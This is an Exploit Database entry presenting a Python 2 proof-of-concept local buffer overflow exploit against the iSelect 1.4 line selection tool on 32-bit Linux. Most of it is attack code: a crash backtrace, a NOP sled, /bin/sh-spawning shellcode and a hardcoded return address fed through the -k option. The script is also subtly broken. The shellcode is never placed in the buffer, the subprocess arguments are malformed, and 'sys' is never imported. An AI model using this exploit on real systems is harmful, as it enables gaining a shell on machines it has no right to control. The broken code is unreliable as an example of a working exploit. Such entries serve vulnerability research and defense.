



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

iSelect v1.4 - Local Buffer Overflow

EDB-ID:

41076

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[LINUX](#)

Date:

2017-01-16

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit developed using Exploit Pack v7.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: iSelect
# Affected value: -k, --key=KEY
# Version: 1.4.0-2+b1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: ncurses-based interactive line selection tool
# iSelect is an interactive line selection tool, operating via a
# full-screen Curses-based terminal session.

# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
# Website: http://www.ossdp.org/pkg/tool/iselect/

# Where in the code:
#7 0xb7eaa69f in __strcpy_chk (dest=0xbffffeccc
"1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199
times>..., destlen=1024) at strcpy_chk.c:30
#8 0x0804bfaa in ?? ()
#9 0x0804914d in ?? ()
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2,
argv=0xbffff224, init=0x804c020, fini=0x804c090, rtdl_fini=0xb7fea8a0
<_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291

# Exploit code: Proof of Concept ( Without Fortify )
import os, subprocess

def run():
    try:
        print "# iSelect - Local Buffer Overflow by Juan Sacco"
        print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
        # NOPSLED + SHELLCODE + EIP

        buffersize = 1024
        nopsled = "\x90"*30
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        eip = "\x08\xec\xff\xbf"
        buffer = nopsled * (buffersize-len(shellcode)) + eip
        subprocess.call(["iselect -k=", '', buffer])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, iSelect binary - Not found!"
        else:
            print "Error executing exploit"
            raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit iSelect - Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
    except IndexError:
        howtousage()
run()

```

Tags:

Advisory/Source: [Link](#)

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES ©

[OffSec Services Limited](#) 2026. All rights reserved.